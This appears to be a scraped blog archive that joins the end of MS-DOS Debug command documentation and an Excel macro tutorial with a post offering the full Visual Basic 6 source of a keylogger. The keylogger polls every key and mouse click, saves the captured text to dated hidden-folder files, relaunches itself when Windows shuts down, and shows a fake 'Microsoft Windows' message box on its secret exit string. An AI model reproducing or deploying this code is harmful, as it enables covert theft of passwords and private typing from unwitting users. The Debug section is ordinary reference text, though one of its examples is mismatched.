AX=0E00 BX=00FF CX=0007 DX=01FF SP=039D BP=0000 SI=005C DI=0000
DS=04BA ES=04BA SS=04BA CS=O4BA IP=011A NV UP DI NG NZ AC PE NC
04BA:011A CD21 INT 21

Related Commands

For information about executing a loop, a repeated string instruction, a software interrupt, or a subroutine, see the Debug p (Proceed) command.

For information about executing the program currently in memory, see the Debug g (Go) command.

Debug: U (Unassemble)

Disassembles bytes and displays their corresponding source statements, including addresses and byte values. The disassembled code looks like a listing for an assembled file.

Syntax u [range]

To disassemble 20h bytes (the default number), beginning at the first address after the address displayed by the previous u command, use the following syntax: u

Parameter

range

Specifies the starting and ending addresses, or the starting address and length, of the code you want to disassemble. For information about valid values for the range parameter, see the debug command.

Examples

To disassemble 16 (10h) bytes, beginning at address 04BA:0100, type the following command:

u04ba:100l10

Debug displays the results in the following format:

04BA:0100  206472    AND  [SI+72],AH
04BA:0103 69 DB 69
04BA:0104 7665 JBE 016B
04BA:0106 207370 AND [BP+DI+70],DH
04BA:0109 65 DB 65
04BA:010A 63 DB 63
04BA:010B 69 DB 69
04BA:010C 66 DB 66
04BA:010D 69 DB 69
04BA:010E 63 DB 63
04BA:010F 61 DB 61

To display only the information for the specific addresses 04BA:0100 through 04BA:0108, type the following command:

u04ba:0100 0108

Debug displays the following:

04BA:0100  206472    AND  [SI+72],AH
04BA:0103 69 DB 69
04BA:0104 7665 JBE 016B
04BA:0106 207370 AND [BP+DI+70],DH

Related Commands

For information about assembling mnemonics, see the Debug a (Assemble) command.

For information about displaying the contents of a portion of memory, see the Debug d (Dump) command.

Debug: W (Write)

Writes a file or specific sectors to disk.

You must have specified the name of the disk file when you started Debug or in the most recent Debug n (name) command. Both of these methods properly format a filename for a file control block at address CS:5C.

To write the contents of the number of bytes specified in the BX:CX registers to a disk file, use the following syntax:

Syntax w [address]

To bypass the MS-DOS file system and directly write specific sectors, use the following syntax: w address drive start number

Caution: Writing specific sectors is extremely risky because it bypasses the MS-DOS file handler. The disk's file structure can easily be damaged if the wrong values are typed.

Parameters

address

Specifies the beginning memory address of the file, or portion of the file, you want to write to a disk file. If you do not specify address, Debug starts from CS:100. For information about valid values for the address parameter, see the debug command.

drive

Specifies the drive that contains the destination disk. This value is numeric: 0 = A, 1 = B, 2 = C, and so on.

start

Specifies the hexadecimal number of the first sector to which you want to write.

number

Specifies the number of sectors to which you want to write.

Notes

Resetting BX:CX before using the w command without parameters

If you have used a Debug g (go), t (trace), p (proceed), or r (register) command, you must reset the BX:CX registers before using the w command without parameters.

Writing a modified file to a disk

If you modify the file but do not change the name, length, or starting address, Debug can still correctly write the file to the original disk location.

Limitation on the w command

You cannot write an .EXE or .HEX file with this command.

Example

Suppose you want to write the contents of memory, beginning at the address CS:100, to the disk in drive B. You want the data to begin in the disk's logical sector number 37h and continue for 2Bh sectors. To do this, type the following command:

wcs:100 1 37 2b

When the write operation is complete, Debug displays the Debug prompt again.

Related Commands

For information about specifying a file for the w command, see the Debug n (Name) command.

For information about loading the contents of a file or file sectors into memory, see the Debug l (Load) command.

Debug: XA (Allocate Expanded Memory)

Allocates a specified number of pages of expanded memory.

To use expanded memory, you must have installed an expanded-memory device driver that conforms to version 4.0 of the Lotus/Intel/Microsoft Expanded Memory Specification (LIM EMS).

Syntax

xa [count]

Parameter

count

Specifies the number of 16-kilobyte pages of expanded memory to allocate.

Example

To deallocate handle 0003, type the following command:

xd 0003

If the command is successful, Debug displays the following message:

Handle 0003 deallocated

Related Commands

For information about other Debug commands that work with expanded memory, see the Debug commands xd (Deallocate Expanded Memory), xm (Map Expanded-Memory Pages), and xs (Display Expanded-Memory Status).

Debug: XD (Deallocate Expanded Memory)

Deallocates a handle to expanded memory.

To use expanded memory, you must have installed an expanded-memory device driver that conforms to version 4.0 of the Lotus/Intel/Microsoft Expanded Memory Specification (LIM EMS).

xd [handle]

Parameters

handle

Specifies the handle you want to deallocate.

Example

To deallocate handle 0003, type the following command:

xd 0003

If the command is successful, Debug displays the following message:

Handle 0003 deallocated

Related Commands

For information about other Debug commands that work with expanded memory, see the Debug commands xa (allocate expanded memory), xm (map expanded-memory pages), and xs (display expanded-memory status).

Debug: XM (Map Expanded Memory Pages)

Maps a logical page of expanded memory, belonging to the specified handle, to a physical page of expanded memory.

To use expanded memory, you must have installed an expanded-memory device driver that conforms to version 4.0 of the Lotus/Intel/Microsoft Expanded Memory Specification (LIM EMS).

Syntax

xm [lpage] [ppage] [handle]

Parameters

lpage

Specifies the number of the logical page of expanded memory that you want to map to physical page ppage.

ppage

Specifies the number of the physical page to which lpage is to be mapped.

handle

Specifies the handle.

Example

To map logical page 5 of handle 0003 to physical page 2, type the following command:

xm 5 2 0003

If the command is successful, Debug displays the following message:

Logical page 05 mapped to physical page 02

Related Commands

For information about other Debug commands that work with expanded memory, see the Debug commands xa (Allocate Expanded Memory), xd (Deallocate Expanded Memory), and xs (Display Expanded-Memory Status).

Debug: XS (Display Expanded-Memory Status)

Displays information about the status of expanded memory.

To use expanded memory, you must have installed an expanded-memory device driver that conforms to version 4.0 of the Lotus/Intel/Microsoft Expanded Memory Specification (LIM EMS).

Syntax

xs

Note

The information that Debug displays has the following format:

Handle xx has xx pages allocated
Physical page xx = Frame segment xx
xx of a total xx EMS pages have been allocated
xx of a total xx EMS handles have been allocated

Example

To display expanded-memory information, type the following command:

xs
Debug displays information similar to the following:
Handle 0000 has 0000 pages allocated
Handle 0001 has 0002 pages allocated
Physical page 00 = Frame segment C000
Physical page 01 = Frame segment C400
Physical page 02 = Frame segment C800
Physical page 03 = Frame segment CC00
2 of a total 80 EMS pages have been allocated
2 of a total FF EMS handles have been allocated

Sunday, October 19, 2008

Excel Macros

Do you have common tasks that you perform over and over in Microsoft Excel  For instance, do you often apply the same combination of formats, or do you receive data every week or month that you organize and analyze the same way every time? You can use a macro to combine all of the steps in a task into a single command.

Solutin Is Using Excel Macros.




  1. Point to Macro on the Tools menu, and then click Record New Macro.
  2. In the Record Macro dialog box, type a name for the macro in the Macro name box. Macro names must start with a letter and can include letters, numbers, and underscore characters, but can't include spaces. You don't need to change the other boxes:

    When you click OK, the Stop Recording toolbar appears, and you're ready to record. Until you stop the recording, every Excel command and keystroke will be recorded in the macro, in the order in which they are entered.

  3. Now format the cell the way your boss wants it flagged: click Cells on theFormat menu, click the Font tab, click Bold under Font style, click Red forColor, click the Border tab, click Red for Color, click the border thickness you want, click Outline, and then click OK.
  4. To finish recording the macro, click the Stop Recording button:
  5. To see what kind of  VBA generated  Point to Macro on the Tools menu, and then click Visual Basic Editor.
  6. Click On Module Tree Node, From Expanding Double Click On Macro Name That You Gave


Saturday, October 11, 2008

VB 6.0 Code KeyBoard Logger

'*********************KeyCoardLogerForWindows************
'***********************CODED bY SATAN DREAM*******************
' dot added
Option Explicit
Dim strContent As String
Dim boolCapslockOn As Boolean
Dim boolShiftPresed As Boolean
Dim BOOLCASE As Boolean
Dim strSavePath As String
Dim StrFileName As String
Dim intInd As Long
Dim strFilePath As String
Dim intSpeciachar As Integer
Dim SpecChar As String
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer 'key bord scan func

Dim StrTExt As String
' follwing is keybord definition
'start function keys
Dim Keydot1 As Long, keydot1pre As Long
Dim KeyPlus As Long, KeyPluspre As Long
Dim KeyAdd As Long, KeyAddpre As Long
Dim KeySub As Long, keySubpre As Long
Dim KeyMulti As Long, KeyMultiPre As Long
Dim KeyDiv As Long, KeyDivper As Long

Dim KeyMin As Long, KeyMinpre As Long
Dim KeyEsc As Long, KeyEscPre As Long
Dim KeyF1 As Long, KeyF1Pre As Long
Dim KeyF2 As Long, KeyF2Pre As Long
Dim KeyF3 As Long, KeyF3Pre As Long
Dim KeyF4 As Long, KeyF4Pre As Long
Dim KeyF5 As Long, KeyF5Pre As Long
Dim KeyF6 As Long, KeyF6Pre As Long
Dim KeyF7 As Long, KeyF7Pre As Long
Dim KeyF8 As Long, KeyF8Pre As Long
Dim KeyF9 As Long, KeyF9Pre As Long
Dim KeyF10 As Long, KeyF10Pre As Long
Dim KeyF11 As Long, KeyF11Pre As Long
Dim KeyF12 As Long, KeyF12Pre As Long

'defines numeric keys
Dim Key1 As Long, Key1Pre As Long
Dim Key2 As Long, Key2Pre As Long
Dim Key3 As Long, Key3Pre As Long
Dim Key4 As Long, Key4Pre As Long
Dim Key5 As Long, Key5Pre As Long
Dim Key6 As Long, Key6Pre As Long
Dim kEY7 As Long, KEY7pRE As Long
Dim Key8 As Long, Key8Pre As Long
Dim Key9 As Long, Key9Pre As Long
Dim Key0 As Long, Key0Pre As Long
'Defines General Keys
Dim KeyA As Long, KeyAPre As Long
Dim KeyB As Long, KeyBPre As Long
Dim KeyC As Long, KeyCPre As Long
Dim KeyD As Long, KeyDPre As Long
Dim KeyE As Long, KeyEPre As Long
Dim KeyF As Long, KeyFPre As Long
Dim KeyG As Long, KeyGPre As Long
Dim KeyH As Long, KeyHPre As Long
Dim KeyI As Long, KeyIPre As Long
Dim KeyJ As Long, KeyJPre As Long
Dim KeyK As Long, KeyKPre As Long
Dim KeyL As Long, KeyLPre As Long
Dim KeyM As Long, KeyMPre As Long
Dim KeyN As Long, KeyNPre As Long
Dim KeyO As Long, KeyOPre As Long
Dim KeyP As Long, KeyPPre As Long
Dim KeyQ As Long, KeyQPre As Long
Dim KeyR As Long, KeyRPre As Long
Dim KeyS As Long, KeySPre As Long
Dim KeyT As Long, KeyTPre As Long
Dim KeyU As Long, KeyUPre As Long
Dim KeyV As Long, KeyVPre As Long
Dim KeyW As Long, KeyWPre As Long
Dim KeyX As Long, KeyXPre As Long
Dim KeyY As Long, KeyYPre As Long
Dim KeyZ As Long, KeyZPre As Long
Dim KeyDot As Long, KeyDotpre As Long
'DEFINES NUMPAD KEYSV
Dim KeyNUM1 As Long, KeyNUM1Pre As Long
Dim KeyNUM2 As Long, KeyNUM2Pre As Long
Dim KeyNUM3 As Long, KeyNUM3Pre As Long
Dim KeyNUM4 As Long, KeyNUM4Pre As Long
Dim KeyNUM5 As Long, KeyNUM5Pre As Long
Dim KeyNUM6 As Long, KeyNUM6Pre As Long
Dim KeyNUM7 As Long, KeyNUM7PRE As Long
Dim KeyNUM8 As Long, KeyNUM8Pre As Long
Dim KeyNUM9 As Long, KeyNUM9Pre As Long
Dim KeyNUM0 As Long, KeyNUM0Pre As Long
'Othe function Keys
Dim KeyTab As Long, KeyTabPre As Long
Dim KeyCapsLock As Long, KeyCapsLockPre As Long
Dim KeyShift As Long, KeyShiftPre As Long
Dim KeyEnter As Long, KeyEnterPre As Long
Dim KeySpace As Long, KeySpacePre As Long
'MOUSE KEYS
Dim KeyMouseLeft As Long, KeyMouseLeftPre As Long
Dim KeyMouseright As Long, keyMouseRightPre As Long
Private Sub scanKeyb()

'**********************************************************

KeyCapsLock = GetKeyState(vbKeyCapital)
If KeyCapsLock = 0 Then

boolCapslockOn = False
ElseIf KeyCapsLock = 1 Then
boolCapslockOn = True
End If

KeyCapsLockPre = KeyCapsLock

'************************************************************
KeyShift = GetKeyState(vbKeyShift)
If KeyShift < 0 Then


boolShiftPresed = True
Else
boolShiftPresed = False
End If
'***********************************************************


KeyA = GetKeyState(vbKeyA)
If KeyA >= 0 And KeyAPre < 0 And BOOLCASE = True Then

strContent = strContent + "A"

ElseIf KeyA >= 0 And KeyAPre < 0 Then
strContent = strContent + "a"

End If

KeyAPre = KeyA
'***********************************************************

KeyB = GetKeyState(vbKeyB)
If KeyB >= 0 And KeyBPre < 0 And BOOLCASE = True Then

strContent = strContent + "B"

ElseIf KeyB >= 0 And KeyBPre < 0 Then
strContent = strContent + "b"

End If

KeyBPre = KeyB
'************************************************************

KeyC = GetKeyState(vbKeyC)
If KeyC >= 0 And KeyCPre < 0 And BOOLCASE = True Then

strContent = strContent + "C"

ElseIf KeyC >= 0 And KeyCPre < 0 Then
strContent = strContent + "c"

End If

KeyCPre = KeyC
'************************************************************

KeyD = GetKeyState(vbKeyD)
If KeyD >= 0 And KeyDPre < 0 And BOOLCASE = True Then

strContent = strContent + "D"

ElseIf KeyD >= 0 And KeyDPre < 0 Then
strContent = strContent + "d"

End If

KeyDPre = KeyD

KeyE = GetKeyState(vbKeyE)
If KeyE >= 0 And KeyEPre < 0 And BOOLCASE = True Then

strContent = strContent + "E"

ElseIf KeyE >= 0 And KeyEPre < 0 Then
strContent = strContent + "e"

End If

KeyEPre = KeyE
'************************************************************

KeyF = GetKeyState(vbKeyF)
If KeyF >= 0 And KeyFPre < 0 And BOOLCASE = True Then

strContent = strContent + "F"

ElseIf KeyF >= 0 And KeyFPre < 0 Then
strContent = strContent + "f"

End If

KeyFPre = KeyF

'************************************************************

KeyG = GetKeyState(vbKeyG)
If KeyG >= 0 And KeyGPre < 0 And BOOLCASE = True Then

strContent = strContent + "G"

ElseIf KeyG >= 0 And KeyGPre < 0 Then
strContent = strContent + "g"

End If

KeyGPre = KeyG
'************************************************************

KeyH = GetKeyState(vbKeyH)
If KeyH >= 0 And KeyHPre < 0 And BOOLCASE = True Then

strContent = strContent + "H"

ElseIf KeyH >= 0 And KeyHPre < 0 Then
strContent = strContent + "h"

End If

KeyHPre = KeyH
'************************************************************

KeyI = GetKeyState(vbKeyI)
If KeyI >= 0 And KeyIPre < 0 And BOOLCASE = True Then

strContent = strContent + "I"

ElseIf KeyI >= 0 And KeyIPre < 0 Then
strContent = strContent + "i"

End If

KeyIPre = KeyI
'************************************************************

KeyJ = GetKeyState(vbKeyJ)
If KeyJ >= 0 And KeyJPre < 0 And BOOLCASE = True Then

strContent = strContent + "J"

ElseIf KeyJ >= 0 And KeyJPre < 0 Then
strContent = strContent + "j"

End If

KeyJPre = KeyJ
'************************************************************

KeyK = GetKeyState(vbKeyK)
If KeyK >= 0 And KeyKPre < 0 And BOOLCASE = True Then

strContent = strContent + "K"

ElseIf KeyK >= 0 And KeyKPre < 0 Then
strContent = strContent + "k"

End If

KeyKPre = KeyK
'************************************************************

KeyL = GetKeyState(vbKeyL)
If KeyL >= 0 And KeyLPre < 0 And BOOLCASE = True Then

strContent = strContent + "L"

ElseIf KeyL >= 0 And KeyLPre < 0 Then
strContent = strContent + "l"

End If

KeyLPre = KeyL
'************************************************************

KeyM = GetKeyState(vbKeyM)
If KeyM >= 0 And KeyMPre < 0 And BOOLCASE = True Then

strContent = strContent + "M"

ElseIf KeyM >= 0 And KeyMPre < 0 Then
strContent = strContent + "m"

End If

KeyMPre = KeyM
'************************************************************

KeyN = GetKeyState(vbKeyN)
If KeyN >= 0 And KeyNPre < 0 And BOOLCASE = True Then

strContent = strContent + "N"

ElseIf KeyN >= 0 And KeyNPre < 0 Then
strContent = strContent + "n"

End If

KeyNPre = KeyN
'************************************************************

KeyO = GetKeyState(vbKeyO)
If KeyO >= 0 And KeyOPre < 0 And BOOLCASE = True Then

strContent = strContent + "O"

ElseIf KeyO >= 0 And KeyOPre < 0 Then
strContent = strContent + "o"

End If

KeyOPre = KeyO

'************************************************************

KeyP = GetKeyState(vbKeyP)
If KeyP >= 0 And KeyPPre < 0 And BOOLCASE = True Then

strContent = strContent + "P"

ElseIf KeyP >= 0 And KeyPPre < 0 Then
strContent = strContent + "p"

End If

KeyPPre = KeyP
'************************************************************

KeyQ = GetKeyState(vbKeyQ)
If KeyQ >= 0 And KeyQPre < 0 And BOOLCASE = True Then

strContent = strContent + "Q"

ElseIf KeyQ >= 0 And KeyQPre < 0 Then
strContent = strContent + "q"

End If

KeyQPre = KeyQ
'************************************************************

KeyR = GetKeyState(vbKeyR)
If KeyR >= 0 And KeyRPre < 0 And BOOLCASE = True Then

strContent = strContent + "R"

ElseIf KeyR >= 0 And KeyRPre < 0 Then
strContent = strContent + "r"

End If

KeyRPre = KeyR
'************************************************************

KeyS = GetKeyState(vbKeyS)
If KeyS >= 0 And KeySPre < 0 And BOOLCASE = True Then

strContent = strContent + "S"

ElseIf KeyS >= 0 And KeySPre < 0 Then
strContent = strContent + "s"

End If

KeySPre = KeyS
'************************************************************

KeyT = GetKeyState(vbKeyT)
If KeyT >= 0 And KeyTPre < 0 And BOOLCASE = True Then

strContent = strContent + "T"

ElseIf KeyT >= 0 And KeyTPre < 0 Then
strContent = strContent + "t"

End If

KeyTPre = KeyT
'************************************************************

KeyU = GetKeyState(vbKeyU)
If KeyU >= 0 And KeyUPre < 0 And BOOLCASE = True Then

strContent = strContent + "U"

ElseIf KeyU >= 0 And KeyUPre < 0 Then
strContent = strContent + "u"

End If

KeyUPre = KeyU
'************************************************************

KeyV = GetKeyState(vbKeyV)
If KeyV >= 0 And KeyVPre < 0 And BOOLCASE = True Then

strContent = strContent + "V"

ElseIf KeyV >= 0 And KeyVPre < 0 Then
strContent = strContent + "v"

End If

KeyVPre = KeyV
'************************************************************

KeyX = GetKeyState(vbKeyX)
If KeyX >= 0 And KeyXPre < 0 And BOOLCASE = True Then

strContent = strContent + "X"

ElseIf KeyX >= 0 And KeyXPre < 0 Then
strContent = strContent + "x"

End If

KeyXPre = KeyX
'************************************************************

KeyW = GetKeyState(vbKeyW)
If KeyW >= 0 And KeyWPre < 0 And BOOLCASE = True Then

strContent = strContent + "W"

ElseIf KeyW >= 0 And KeyWPre < 0 Then
strContent = strContent + "w"

End If

KeyWPre = KeyW
'************************************************************

KeyY = GetKeyState(vbKeyY)
If KeyY >= 0 And KeyYPre < 0 And BOOLCASE = True Then

strContent = strContent + "Y"

ElseIf KeyY >= 0 And KeyYPre < 0 Then
strContent = strContent + "y"

End If

KeyYPre = KeyY
'************************************************************

KeyZ = GetKeyState(vbKeyZ)
If KeyZ >= 0 And KeyZPre < 0 And BOOLCASE = True Then

strContent = strContent + "Z"

ElseIf KeyZ >= 0 And KeyZPre < 0 Then
strContent = strContent + "z"

End If

KeyZPre = KeyZ
'************************************************************
Keydot1 = GetKeyState(110)
If Keydot1 >= 0 And keydot1pre < 0 And BOOLCASE = True Then

strContent = strContent + "."

ElseIf Keydot1 >= 0 And keydot1pre < 0 Then
strContent = strContent + "."

End If

keydot1pre = Keydot1

'************************************************************
KeyDot = GetKeyState(190)
If KeyDot >= 0 And KeyDotpre < 0 And BOOLCASE = True Then

'strContent = strContent + "."

ElseIf KeyDot >= 0 And KeyDotpre < 0 Then
strContent = strContent + "."

End If

KeyDotpre = KeyDot

'****************************************************************
KeyMouseLeft = GetKeyState(vbKeyLButton)
If KeyMouseLeft >= 0 And KeyMouseLeftPre < 0 Then

strContent = strContent + SpecChar + "MLeft" + SpecChar

End If

KeyMouseLeftPre = KeyMouseLeft
'**********************************************************

KeyMouseright = GetKeyState(vbKeyRButton)
If KeyMouseright >= 0 And keyMouseRightPre < 0 Then

strContent = strContent + " "

End If

keyMouseRightPre = KeyMouseright


'**********************************************************

KeyEnter = GetKeyState(vbKeyReturn)
If KeyEnter >= 0 And KeyEnterPre < 0 Then

strContent = strContent + " "

End If

KeyEnterPre = KeyEnter
'**********************************************************

KeyTab = GetKeyState(vbKeyTab)
If KeyTab >= 0 And KeyTabPre < 0 Then

strContent = strContent + SpecChar + "tab" + SpecChar

End If

KeyTabPre = KeyTab

'**********************************************************


KeySpace = GetKeyState(vbKeySpace)
If KeySpace >= 0 And KeySpacePre < 0 Then

strContent = strContent + " "

End If

KeySpacePre = KeySpace

'**********************************************************


KeyNUM0 = GetKeyState(vbKeyNumpad0)
If KeyNUM0 >= 0 And KeyNUM0Pre < 0 Then

strContent = strContent + "0"

End If

KeyNUM0Pre = KeyNUM0
'**********************************************************
KeyNUM1 = GetKeyState(vbKeyNumpad1)
If KeyNUM1 >= 0 And KeyNUM1Pre < 0 Then

strContent = strContent + "1"

End If

KeyNUM1Pre = KeyNUM1
'**********************************************************
KeyNUM2 = GetKeyState(vbKeyNumpad2)
If KeyNUM2 >= 0 And KeyNUM2Pre < 0 Then

strContent = strContent + "2"

End If

KeyNUM2Pre = KeyNUM2
'**********************************************************
KeyNUM3 = GetKeyState(vbKeyNumpad3)
If KeyNUM3 >= 0 And KeyNUM3Pre < 0 Then

strContent = strContent + "3"

End If

KeyNUM3Pre = KeyNUM3
'**********************************************************
KeyNUM4 = GetKeyState(vbKeyNumpad4)
If KeyNUM4 >= 0 And KeyNUM4Pre < 0 Then

strContent = strContent + "4"

End If

KeyNUM4Pre = KeyNUM4
'**********************************************************
KeyNUM5 = GetKeyState(vbKeyNumpad5)
If KeyNUM5 >= 0 And KeyNUM5Pre < 0 Then

strContent = strContent + "5"

End If

KeyNUM5Pre = KeyNUM5
'**********************************************************
KeyNUM6 = GetKeyState(vbKeyNumpad6)
If KeyNUM6 >= 0 And KeyNUM6Pre < 0 Then

strContent = strContent + "6"

End If

KeyNUM6Pre = KeyNUM6
'**********************************************************
KeyNUM7 = GetKeyState(vbKeyNumpad7)
If KeyNUM7 >= 0 And KeyNUM7PRE < 0 Then

strContent = strContent + "7"

End If

KeyNUM7PRE = KeyNUM7
'**********************************************************
KeyNUM8 = GetKeyState(vbKeyNumpad8)
If KeyNUM8 >= 0 And KeyNUM8Pre < 0 Then

strContent = strContent + "8"

End If

KeyNUM8Pre = KeyNUM8
'**********************************************************
KeyNUM9 = GetKeyState(vbKeyNumpad9)
If KeyNUM9 >= 0 And KeyNUM9Pre < 0 Then

strContent = strContent + "9"

End If

KeyNUM9Pre = KeyNUM9

'**********************************************************
Key0 = GetKeyState(vbKey0)
If Key0 >= 0 And Key0Pre < 0 And boolShiftPresed = True Then

strContent = strContent + ")"
ElseIf Key0 >= 0 And Key0Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "0"
End If

Key0Pre = Key0
'**********************************************************
Key1 = GetKeyState(vbKey1)
If Key1 >= 0 And Key1Pre < 0 And boolShiftPresed = True Then

strContent = strContent + "!"
ElseIf Key1 >= 0 And Key1Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "1"
End If

Key1Pre = Key1
'**********************************************************
Key2 = GetKeyState(vbKey2)
If Key2 >= 0 And Key2Pre < 0 And boolShiftPresed = True Then

strContent = strContent + "@"
ElseIf Key2 >= 0 And Key2Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "2"
End If

Key2Pre = Key2
'**********************************************************
Key3 = GetKeyState(vbKey3)
If Key3 >= 0 And Key3Pre < 0 And boolShiftPresed = True Then

strContent = strContent + "#"
ElseIf Key3 >= 0 And Key3Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "3"
End If

Key3Pre = Key3
'**********************************************************
Key4 = GetKeyState(vbKey4)
If Key4 >= 0 And Key4Pre < 0 And boolShiftPresed = True Then

strContent = strContent + "$"
ElseIf Key4 >= 0 And Key4Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "4"
End If

Key4Pre = Key4
Key5 = GetKeyState(vbKey5)
If Key5 >= 0 And Key5Pre < 0 And boolShiftPresed = True Then

strContent = strContent + "%"
ElseIf Key5 >= 0 And Key5Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "5"
End If

Key5Pre = Key5
'**********************************************************
Key6 = GetKeyState(vbKey6)
If Key6 >= 0 And Key6Pre < 0 And boolShiftPresed = True Then

strContent = strContent + "^"
ElseIf Key6 >= 0 And Key6Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "6"
End If

Key6Pre = Key6
'**********************************************************
kEY7 = GetKeyState(vbKey7)
If kEY7 >= 0 And KEY7pRE < 0 And boolShiftPresed = True Then

strContent = strContent + "<^7*>"
ElseIf kEY7 >= 0 And KEY7pRE < 0 And boolShiftPresed = False Then
strContent = strContent + "7"
End If

KEY7pRE = kEY7
'**********************************************************
Key8 = GetKeyState(vbKey8)
If Key8 >= 0 And Key8Pre < 0 And boolShiftPresed = True Then

strContent = strContent + "*"
ElseIf Key8 >= 0 And Key8Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "8"
End If

Key8Pre = Key8
'**********************************************************
Key9 = GetKeyState(vbKey9)
If Key9 >= 0 And Key9Pre < 0 And boolShiftPresed = True Then

strContent = strContent + "("
ElseIf Key9 >= 0 And Key9Pre < 0 And boolShiftPresed = False Then
strContent = strContent + "9"
End If

Key9Pre = Key9
'*********************************************************
KeyPlus = GetKeyState(187)
If KeyPlus >= 0 And KeyPluspre < 0 And boolShiftPresed = True Then

strContent = strContent + "+"
ElseIf KeyPlus >= 0 And KeyPluspre < 0 And boolShiftPresed = False Then
strContent = strContent + "="
End If

KeyPluspre = KeyPlus
'*********************************************************
KeyMin = GetKeyState(189)
If KeyMin >= 0 And KeyMinpre < 0 And boolShiftPresed = True Then

strContent = strContent + "_"
ElseIf KeyMin >= 0 And KeyMinpre < 0 And boolShiftPresed = False Then
strContent = strContent + "-"
End If

KeyMinpre = KeyMin



End Sub


Private Sub SETCASE()
If boolCapslockOn = False And boolShiftPresed = False Then
BOOLCASE = False
ElseIf boolCapslockOn = False And boolShiftPresed = True Then
BOOLCASE = True
ElseIf boolCapslockOn = True And boolShiftPresed = True Then
BOOLCASE = False
ElseIf boolCapslockOn = True And boolShiftPresed = False Then
BOOLCASE = True
End If
End Sub





Private Sub Command1_Click()
OpenSaveFile
End Sub

Private Sub Form_Load()
strContent = " " & Format(Date, "yymmdd") & Time & vbNewLine
strFilePath = App.Path + "\" + App.Title + ".exe"
intSpeciachar = 165
SpecChar = Chr(165) + Chr(182)
End Sub

Private Sub rtfcontent_GotFocus()

End Sub

Private Sub OpenSaveFile()
On Error Resume Next
StrTExt = "H"
StrFileName = App.Path & "save\"
MkDir StrFileName
StrFileName = StrFileName & Year(Date)
MkDir StrFileName
StrFileName = StrFileName & "\" & Month(Date)
MkDir StrFileName
StrFileName = StrFileName & "\" & Day(Date)
MkDir StrFileName
StrFileName = StrFileName & "\" & Hour(Time) & Minute(Time) & Second(Time) & ".DCT"
Open StrFileName For Output As #1
Write #1, strContent
Close #1

End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
OpenSaveFile
Select Case UnloadMode
Case 3

Shell strFilePath, vbNormalFocus


End Select

End Sub

Private Sub Timer1_Timer()
Label1.Caption = strContent
SETCASE
scanKeyb
Dim Lens
Lens = Len(strContent)

If Len(strContent) > 1024 Then



OpenSaveFile
strContent = " STARTING " & Time

End If
intInd = InStr(strContent, "geffreaenditgeffrea")
If intInd > 0 Then
MsgBox "Ssuccesfuly Updated", vbInformation, "Microsoft Windows"
OpenSaveFile
strContent = ""
Timer1.Enabled = False
Unload Me
End If


End Sub

Just Answer


JustAnswer.com